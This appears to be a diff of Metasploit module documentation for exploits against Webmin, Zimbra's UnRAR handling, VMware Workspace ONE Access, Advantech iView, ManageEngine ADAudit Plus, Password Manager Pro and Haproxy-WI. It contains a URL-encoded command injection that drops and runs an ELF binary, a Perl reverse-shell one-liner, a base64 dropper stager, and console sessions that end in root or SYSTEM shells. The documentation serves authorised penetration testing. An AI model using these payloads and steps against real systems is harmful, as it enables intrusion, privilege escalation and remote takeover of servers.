serv=127.0.0.1&ipbackend=%22%3b%20printf%20%27\177\105\114\106\2\1\1\0\0\0\0\0\0\0\0\0\2\0\76\0\1\0\0\0\170\0\100\0\0\0\0\0\100\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\100\0\70\0\1\0\0\0\0\0\0\0\1\0\0\0\7\0\0\0\0\0\0\0\0\0\0\0\0\0\100\0\0\0\0\0\0\0\100\0\0\0\0\0\372\0\0\0\0\0\0\0\174\1\0\0\0\0\0\0\0\20\0\0\0\0\0\0\110\61\377\152\11\130\231\266\20\110\211\326\115\61\311\152\42\101\132\262\7\17\5\110\205\300\170\121\152\12\101\131\120\152\51\130\231\152\2\137\152\1\136\17\5\110\205\300\170\73\110\227\110\271\2\0\21\134\254\26\346\221\121\110\211\346\152\20\132\152\52\130\17\5\131\110\205\300\171\45\111\377\311\164\30\127\152\43\130\152\0\152\5\110\211\347\110\61\366\17\5\131\131\137\110\205\300\171\307\152\74\130\152\1\137\17\5\136\152\46\132\17\5\110\205\300\170\355\377\346%27%3e%3e/tmp/olXCy%20%3b%20chmod%20%2bx%20/tmp/olXCy%20%3b%20/tmp/olXCy%20%3b%20rm%20-f%20/tmp/olXCy%20%3b%23&alert_consumer=kvlkaqe&backend_server=127.0.0.1
|
||||
[*] Sending stage (38 bytes) to 172.22.230.145
|
||||
[*] Command shell session 2 opened (172.22.230.145:4444 -> 172.22.230.145:41508) at 2022-07-25 14:07:59 -0500
|
||||
i####################
|
||||
# Response:
|
||||
####################
|
||||
No response received
|
||||
d[*] Command Stager progress - 100.00% done (810/810 bytes)
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
whoami
|
||||
www-data
|
||||
pwd
|
||||
/var/www/haproxy-wi/app
|
||||
ls
|
||||
__pycache__
|
||||
add.py
|
||||
certs
|
||||
config.py
|
||||
create_db.py
|
||||
db_model.py
|
||||
funct.py
|
||||
ha.py
|
||||
hapservers.py
|
||||
history.py
|
||||
login.py
|
||||
logs.py
|
||||
metrics.py
|
||||
nettools.py
|
||||
options.py
|
||||
overview.py
|
||||
portscanner.py
|
||||
provisioning.py
|
||||
roxy-wi.db
|
||||
runtimeapi.py
|
||||
scripts
|
||||
sections.py
|
||||
servers.py
|
||||
smon.py
|
||||
sql.py
|
||||
templates
|
||||
users.py
|
||||
versions.py
|
||||
viewlogs.py
|
||||
viewsttats.py
|
||||
waf.py
|
||||
```
|
||||
@@ -0,0 +1,103 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an arbitrary command injection in Webmin versions prior to
|
||||
1.997.
|
||||
|
||||
Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform package
|
||||
updates and installation. Due to a lack of input sanitization, it is possible to
|
||||
inject an arbitrary command that will be concatenated to the package manager call.
|
||||
|
||||
This exploit requires authentication and the account must have access to the
|
||||
Software Package Updates module.
|
||||
|
||||
## Installation
|
||||
|
||||
### Ubuntu
|
||||
- Download a vulnerable version: http://prdownloads.sourceforge.net/webadmin/webmin_1.996_all.deb
|
||||
- Install it along with its dependencies (`libio-pty-perl` required when installing on Ubuntu 20.04)
|
||||
```
|
||||
apt-get install libauthen-pam-perl libio-pty-perl
|
||||
dpkg -i ./webmin_1.996_all.deb
|
||||
```
|
||||
|
||||
## Setup
|
||||
- Go to `https://<target IP>:10000/`
|
||||
- Login as `root` with the OS password
|
||||
- Create a new user:
|
||||
`Webmin > Webmin Users > Create a new privileged user > enter the username and password > click Create`
|
||||
- Setup permissions
|
||||
`Click on the username > Available Webmin modules > select "Software Package Updates" in the System module list > Save`
|
||||
|
||||
## Verification Steps
|
||||
1. Install and setup the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/http/webmin_package_updates_rce`
|
||||
1. Do: `run lhost=<local IP> rhosts=<target IP> username=<username> password=<user password>`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
Set this to the Webmin base path. The default is `/`.
|
||||
|
||||
### USERNAME
|
||||
|
||||
The account username to use.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The account password.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Webmin 1.996 on Ubuntu 18.04
|
||||
- Target 0 (`Unix In-Memory`)
|
||||
```
|
||||
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
|
||||
|
||||
[+] perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.0.2:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
|
||||
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Webmin 1.996 detected
|
||||
[+] Webmin 1.996 is a supported target
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Attempting login
|
||||
[+] Logged in!
|
||||
[*] Sending payload
|
||||
[*] Command shell session 4 opened (192.168.0.2:4444 -> 192.168.0.23:51860) at 2022-08-03 11:26:01 +0200
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
cat /etc/issue
|
||||
Ubuntu 18.04.6 LTS \n \l
|
||||
```
|
||||
|
||||
- Target 1 (`Linux Dropper`)
|
||||
```
|
||||
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Webmin 1.996 detected
|
||||
[+] Webmin 1.996 is a supported target
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Attempting login
|
||||
[+] Logged in!
|
||||
[*] Sending payload
|
||||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCokAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/abOFM.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/IBkCa' < '/tmp/abOFM.b64' ; chmod +x '/tmp/IBkCa' ; '/tmp/IBkCa' ; rm -f '/tmp/IBkCa' ; rm -f '/tmp/abOFM.b64'"]
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3020772 bytes) to 192.168.0.23
|
||||
[*] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.23:51870) at 2022-08-03 11:26:51 +0200
|
||||
[*] Command Stager progress - 100.00% done (823/823 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.0.23
|
||||
OS : Ubuntu 18.04 (Linux 5.4.0-122-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
@@ -0,0 +1,92 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier) on Zimbra. You can get the vulnerable version of `unrar` here:
|
||||
|
||||
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
|
||||
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
|
||||
|
||||
Zimbra is the specific target, because certain Zimbra versions use `unrar` to scan incoming email. Specifically, the following versions of Zimbra, assuming the vulnerable version of `unrar` is installed, are affected:
|
||||
|
||||
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
|
||||
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
|
||||
|
||||
Installing the vulnerable versions of Zimbra is a pain, unfortunately. Currently, the following command works to downgrade Zimbra from the current version:
|
||||
|
||||
```
|
||||
# apt-get install zimbra-patch=8.8.15.1651873147.p31.1-1.u18 zimbra-mta-patch=8.8.15.1651844231.p31.1-1.u18 zimbra-proxy-patch=8.8.15.1651844231.p31.1-1.u18
|
||||
# reboot
|
||||
```
|
||||
|
||||
And to verify:
|
||||
|
||||
```
|
||||
$ sudo -u zimbra /opt/zimbra/bin/zmcontrol -v
|
||||
Release 8.8.15.GA.3869.UBUNTU18.64 UBUNTU18_64 FOSS edition, Patch 8.8.15_P31.1.
|
||||
```
|
||||
|
||||
Followed by specifically installing the vulnerable version of `unrar` linked above. Downpatching Zimbra like that is really finnicky, though, so that likely won't always work.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To exploit Zimbra, first load the module and generate the .rar file:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/zimbra_unrar_cve_2022_30333
|
||||
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
|
||||
RHOSTS => 10.0.0.154
|
||||
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Encoding the payload as a .jsp file
|
||||
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
|
||||
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
|
||||
[+] File created! Email the file above to any user on the target Zimbra server
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[...] waiting [...]
|
||||
```
|
||||
|
||||
Then, email that file to any user (including a non-existent mailbox) on the Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract it to check for malware with no user interaction. Metasploit should see the malicious file extracted and get a session:
|
||||
|
||||
```
|
||||
[...]
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
|
||||
[*] Sending stage (3020772 bytes) to 10.0.0.154
|
||||
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
|
||||
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:39710) at 2022-07-27 13:18:03 -0700
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: zimbra
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### `FILENAME`
|
||||
|
||||
The filename to generate - defaults to `payload.rar`, but can be changed on the filesystem or whatever.
|
||||
|
||||
### `TARGET_PATH`
|
||||
|
||||
The path (traversal included) where the payload will extract to. The default is the webroot, which is usually pretty safe.
|
||||
|
||||
### `TARGET_FILENAME`
|
||||
|
||||
The actual filename. It really should end with `.jsp`, otherwise it won't execute.
|
||||
|
||||
By default, it's a random string with `.jsp` on the end. That should work fine, especially because we can't overwrite files and don't want to use the same payload name more than once.
|
||||
|
||||
### `TRIGGER_PAYLOAD`
|
||||
|
||||
A boolean, default `true`, that determines whether we use HTTP requests to trigger the .jsp payload. Set to `false` to trigger the payload manually.
|
||||
|
||||
### `ListenerTimeout`
|
||||
|
||||
The number of seconds to wait for a new session (default = `0`, or infinite).
|
||||
|
||||
### `CheckInterval`
|
||||
|
||||
The frequency with which to check for the payload on the server. Every `CheckInterval`, it performs an HTTP request to the payload path.
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
## Vulnerable Application
|
||||
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of
|
||||
the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control
|
||||
is permitted via the sudo configuration without a password.
|
||||
|
||||
### Setup
|
||||
|
||||
To exploit this vulnerability in conjunction with CVE-2022-22954, follow [Installing and Configuring VMware Workspace
|
||||
ONE Access] or simply import the OVA into a **VMware hypervisor**. The target should be vulnerable to both
|
||||
vulnerabilities out of the box.
|
||||
|
||||
The HW-150533, HW-154129, and HW-156875 patches may be optionally applied. In this case, a session will need to be
|
||||
opened by some means to the appliance as the `horizon` user in order to be exploitable. This is most easily accomplished
|
||||
by [resetting the root password], logging in locally, and then configuring SSH. Patches can be obtained from [VMware's
|
||||
Website]. Steps to reset the `root` password are available [here].
|
||||
|
||||
[Installing and Configuring VMware Workspace ONE Access]: https://docs.vmware.com/en/VMware-Workspace-ONE-Access/21.08/workspace_one_access_install/GUID-0FABD001-050B-4A54-B100-2FA4E8F55613.html
|
||||
[VMware's Website]: https://customerconnect.vmware.com/en/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1192&rPId=79985
|
||||
[resetting the root password]: https://kb.vmware.com/s/article/76530
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Setup a vulnerable VMware instance (see the steps above).
|
||||
2. Start msfconsole.
|
||||
3. Obtain a session on the vulnerable instance.
|
||||
* It is recommend to use either `exploit/linux/http/vmware_workspace_one_access_cve_2022_22954` if the target is
|
||||
vulnerable to it or, alternatively, `exploit/multi/ssh/sshexec`.
|
||||
4. Do: `set SESSION -1`
|
||||
5. Optionally set the PAYLOAD and related options.
|
||||
6. Do: `run`
|
||||
7. If the target is vulnerable, the payload should be executed.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VMware Workspace ONE Access 21.08.0.1
|
||||
In the following scenario, initial access is gained by first exploiting CVE-2022-22954. Once the session is opened, it
|
||||
is elevated to root by exploiting CVE-2022-31660.
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show options
|
||||
|
||||
Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.159.98 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
|
||||
[*] Sending stage (40132 bytes) to 192.168.159.98
|
||||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : photon-machine
|
||||
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter > getuid
|
||||
Server username: horizon
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
|
||||
SESSION => -1
|
||||
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Backing up the original file...
|
||||
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
|
||||
[*] Triggering the payload...
|
||||
[*] Sending stage (40132 bytes) to 192.168.250.237
|
||||
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
|
||||
[*] Restoring file contents...
|
||||
[*] Restoring file permissions...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : photon-machine
|
||||
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Versions of Advantech iView software below `5.7.04.6469` are vulnerable to
|
||||
an unauthenticated command injection vulnerability via the `NetworkServlet` endpoint.
|
||||
The database backup functionality passes a user-controlled parameter, `backup_file`
|
||||
to the `mysqldump` command. The sanitization functionality only tests for SQL injection
|
||||
attempts and directory traversal, so leveraging the `-r` and `-w` `mysqldump` flags
|
||||
permits exploitation. The command injection vulnerability is used to write a
|
||||
payload on the target and achieve remote code execution as NT AUTHORITY\SYSTEM.
|
||||
|
||||
A vulnerable version can be installed from [here](https://downloadt.advantech.com/download/downloadsr.aspx?File_Id=1-26RVVS9).
|
||||
|
||||
Other versions of the software can be found [here](https://www.advantech.tw/support/details/firmware?id=1-HIPU-183).
|
||||
|
||||
### Installation Instructions
|
||||
|
||||
Distributed with the installer is a PDF containing detailed installation instructions
|
||||
for the software. Once the installation has finished, you may have issues getting the
|
||||
Tomcat service to start. If that's the case, follow the steps below (pulled from advantech_iview_unauth_rce.md):
|
||||
|
||||
1. Copy the msvcr100.dll file from C:\Program Files (x86)\Java\jre7\bin to C:\Program Files (x86)\iView\Apache Software Foundation\Tomcat6.0\bin.
|
||||
2. Restart the "Apache Tomcat 6" service. 1 At this point, the application should be listening on port 8080 and no additional configuration is necessary.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/windows/http/advantech_iview_networkservlet_cmd_inject`
|
||||
4. Do: `set RHOST <ip>`
|
||||
5. Do: `run`
|
||||
6. You should get a meterpreter session.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Advantech iView Webserver `v5.7.04.6425` on Windows 10 21H2 x64
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/advantech_iview_networkservlet_cmd_inject
|
||||
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set rhost 192.168.140.197
|
||||
rhost => 192.168.140.197
|
||||
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set lhost 192.168.140.1
|
||||
lhost => 192.168.140.1
|
||||
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.140.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Using URL: http://192.168.140.1:8080/QVp4zocvVZ9f
|
||||
[*] Client 192.168.140.197 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237) requested /QVp4zocvVZ9f
|
||||
[*] Sending payload to 192.168.140.197 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237)
|
||||
[*] Sending stage (200774 bytes) to 192.168.140.197
|
||||
[*] Command Stager progress - 100.00% done (125/125 bytes)
|
||||
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.197:50152) at 2022-07-21 16:48:57 -0500
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of 'webapps\iView3\vQbGQrFe.jsp' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-04M9HG7
|
||||
OS : Windows 10 (10.0 Build 19044).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerable application is ManageEngine ADAudit Plus prior to build 7060. I built and tested this on build 7055, which, at least at the time of this writing, you can download [here](https://archives2.manageengine.com/active-directory-audit/). It's a .exe file that you can install with all the defaults.
|
||||
|
||||
You also need to configure ADAudit to actually audit a domain. That means setting up a domain (I created a domain controller in the lab), and configuring ADAudit to scan that domain. That domain name must be set to the `DOMAIN` when using this exploit.
|
||||
|
||||
The last thing is, three connect-back ports must be open from the target back to Metasploit (in addition to whatever payload ports). By default, we use ports 8080 and 8888 for HTTP, and 2121 for FTP.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Do: `set RHOSTS <IP>`
|
||||
3. Do: `set DOMAIN <DOMAIN_NAME>`
|
||||
4. Do: `exploit`
|
||||
5. You should get a meterpreter session
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219
|
||||
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set RHOSTS 10.0.0.148
|
||||
RHOSTS => 10.0.0.148
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set DOMAIN ad.example.local
|
||||
DOMAIN => ad.example.local
|
||||
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.146:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. The vulnerable endpoint responds with HTTP/200.
|
||||
[*] Attempting to exploit XXE to get a list of users
|
||||
[*] Using URL: http://10.0.0.146:8080/KEmvnPFxS.dtd
|
||||
[*] User accounts discovered: Ron
|
||||
[*] Enumerating old payloads cached on the server (to skip later)
|
||||
[*] Using URL: http://10.0.0.146:8080/NvkXTJXRyhV.dtd
|
||||
[*] Attempting to exploit XXE to store our serialized payload on the server
|
||||
[*] Trying to find our payload in all users' temp folders
|
||||
[*] Using URL: http://10.0.0.146:8080/ppVHiihu.dtd
|
||||
[*] Executing payload: /users/Ron/appdata/local/temp/jar_cache4413164256015023251.tmp...
|
||||
[*] Sending stage (175686 bytes) to 10.0.0.148
|
||||
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.148:52347) at 2022-07-07 15:19:59 -0700
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI_DESERIALIZATION / TARGETURI_XXE
|
||||
|
||||
The target URLs - probably won't ever need to be changed
|
||||
|
||||
### DOMAIN
|
||||
|
||||
A domain that the target monitors. We cannot validate this, but if the exploit should work and doesn't, this might be the issue.
|
||||
|
||||
### SRVPORT / SRVPORT_FTP / SRVPORT_HTTP2
|
||||
|
||||
The connect-back ports.
|
||||
|
||||
* `SRVPORT` is used to host XXE payloads
|
||||
* `SRVPORT_HTTP2` is used for an XXE payload that is held open, creating a temporary file on the server
|
||||
* `SRVPORT_FTP` is used for a fake off-spec FTP server that receives a directory listing also via XXE
|
||||
|
||||
# PATH_TRAVERSAL_DEPTH
|
||||
|
||||
The number of `../` to add to the request
|
||||
|
||||
# FtpCallbackTimeout / HttpUploadTimeout
|
||||
|
||||
How long to wait for FTP or HTTP responses before giving up
|
||||
@@ -0,0 +1,185 @@
|
||||
## Vulnerable Application
|
||||
This module exploits a unauthenticated deserialization vulnerability in the XML RPC interface exposed by Zoho
|
||||
ManageEngine Password Manager Pro before 12101 and PAM360 before 5510. Note that ManageEngine Access Manager Plus
|
||||
before 4303 is also affected provided one provides credentials, however this is not targeted by this exploit.
|
||||
|
||||
Successful exploitation results in unauthenticated RCE as the `NT AUTHORITY\SYSTEM` user.
|
||||
|
||||
### Installation
|
||||
Vulnerable software for testing can be downloaded [here](https://archives2.manageengine.com/passwordmanagerpro/12100/ManageEngine_PMP_64bit.exe).
|
||||
The patch can be downloaded from [here](https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm)
|
||||
|
||||
When installing the software follow the defaults. You can skip the registration however or any parts where you need
|
||||
to fill in additional details to continue (these should have a `Skip` button so you can skip them).
|
||||
|
||||
## Verification Steps
|
||||
1. Follow the installation instructions above.
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce`
|
||||
4. Do: `set RHOSTS [IP]`
|
||||
7. Do: `set payload [payload]`
|
||||
8. Do: `set LHOST [IP]`
|
||||
9. Optional: `set LPORT [local port to listen on]`
|
||||
10. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
## Targets
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows EXE Dropper
|
||||
1 Windows Command
|
||||
2 Windows Powershell
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
### ManageEngine Password Manager Pro 12100 Running on Windows 11
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
|
||||
[*] Using configured payload cmd/windows/reverse_powershell
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set RHOSTS 172.17.245.94
|
||||
RHOSTS => 172.17.245.94
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LHOST 172.17.255.112
|
||||
LHOST => 172.17.255.112
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LPORT 8899
|
||||
LPORT => 8899
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > show options
|
||||
|
||||
Module options (exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.17.245.94 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metas
|
||||
ploit
|
||||
RPORT 7272 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local
|
||||
machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/reverse_powershell):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.17.255.112 yes The listen address (an interface may be specified)
|
||||
LPORT 8899 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows Command
|
||||
|
||||
|
||||
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.255.112:8899
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Target can deserialize arbitrary data.
|
||||
[*] Executing Windows Command for cmd/windows/reverse_powershell
|
||||
